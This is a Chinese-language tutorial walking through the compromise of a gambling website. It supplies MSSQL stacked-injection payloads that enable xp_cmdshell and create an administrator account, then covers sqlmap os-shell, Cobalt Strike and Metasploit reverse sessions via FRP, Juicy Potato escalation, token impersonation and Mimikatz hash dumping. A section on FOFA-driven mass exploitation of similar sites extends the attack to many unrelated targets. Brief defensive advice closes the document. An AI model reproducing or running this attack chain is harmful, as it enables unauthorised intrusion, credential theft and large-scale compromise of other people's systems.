某BC站渗透实战教学文档
0x00 前言
本教学文档详细记录了对某博彩网站的完整渗透过程,从SQL注入发现到最终获取系统最高权限的全流程。文档包含技术细节、工具使用方法和防御建议。
0x01 登录框SQL注入利用
1.1 初始探测
使用Burp Suite抓取登录请求,保存为"2.txt"文件,使用SQLMap进行自动化测试:
python3 sqlmap.py -r "2.txt"
检测结果显示存在盲注和堆叠注入漏洞。
1.2 获取OS Shell
尝试直接获取操作系统shell:
python3 sqlmap.py -r "2.txt" --os-shell
初始失败,提示xp_cmdshell未开启。
1.3 启用xp_cmdshell
利用堆叠注入特性,构造payload启用xp_cmdshell:
userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123
此payload分步执行:
- 显示高级选项
- 重新配置
- 启用xp_cmdshell
- 再次重新配置
- 延时15秒确认执行成功
1.4 创建管理员账户
构造payload创建系统管理员账户:
userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123
注意密码强度要求,Windows系统对密码复杂度有要求。
1.5 获取交互式Shell
成功启用xp_cmdshell后,再次尝试获取os-shell:
python3 sqlmap.py -r "2.txt" --os-shell
此时可获取交互式命令行界面。
0x02 信息收集与权限维持
2.1 Cobalt Strike上线
通过os-shell执行payload,使目标主机上线到Cobalt Strike团队服务器。
2.2 系统信息收集
关键命令:
tasklist # 查看运行进程,发现阿里云盾
systeminfo # 系统信息,Windows Server 2008 R2,75个补丁
whoami # 当前权限为NT SERVICE,低权限
2.3 权限提升尝试
尝试上传MS16-032漏洞利用程序,但上传失败。
0x03 使用FRP联动MSF
3.1 配置FRP
修改frpc.ini配置文件,建立CS与MSF之间的通道。
启动FRP客户端:
./frpc -c frpc.ini
3.2 MSF配置
设置监听器:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run
3.3 会话传递
在CS中选择主机,右键选择"增加会话",选择刚创建的监听器,将会话传递给MSF。
0x04 使用Juicy Potato提权
4.1 上传EXP
使用MSF上传Juicy Potato提权工具:
upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public
注意Windows路径需要使用双反斜杠。
4.2 执行提权
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌并模拟:
impersonate_token "administrator的令牌"
0x05 使用Mimikatz获取凭证
5.1 提权至SYSTEM
getsystem
5.2 使用Mimikatz
加载Mimikatz模块并获取哈希:
load mimikatz
mimikatz_command -f samdump::hashes
或使用MSF内置模块:
run post/windows/gather/smart_hashdump
5.3 密码破解
将获取的哈希提交至CMD5等在线破解平台,若为弱口令可直接获取明文密码。
0x06 横向移动与批量攻击
6.1 CMS特征识别
分析目标网站CMS特征,编写FOFA查询语句,批量扫描相似站点。
6.2 存活验证
使用脚本验证扫描结果的存活状态,过滤无效域名。
6.3 批量利用
编写多线程脚本批量发送注入请求:
python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell
对可注入目标手工注入shellcode,扩大控制范围。
0x07 防御建议
7.1 SQL注入防御
- 使用参数化查询
- 实施最小权限原则
- 禁用不必要的存储过程(xp_cmdshell等)
7.2 权限提升防御
- 及时安装系统补丁
- 限制服务账户权限
- 监控异常账户创建行为
7.3 凭证保护
- 使用强密码策略
- 定期更换密码
- 启用多因素认证
7.4 系统监控
- 部署EDR/XDR解决方案
- 监控异常进程创建
- 建立完善的日志审计机制
0x08 总结
本次渗透过程展示了从Web应用漏洞到系统完全控制的完整攻击链,强调了纵深防御的重要性。博彩网站因其特殊性质往往存在较多安全隐患,但类似漏洞在企业环境中同样常见。安全团队应定期进行渗透测试,及早发现并修复安全隐患。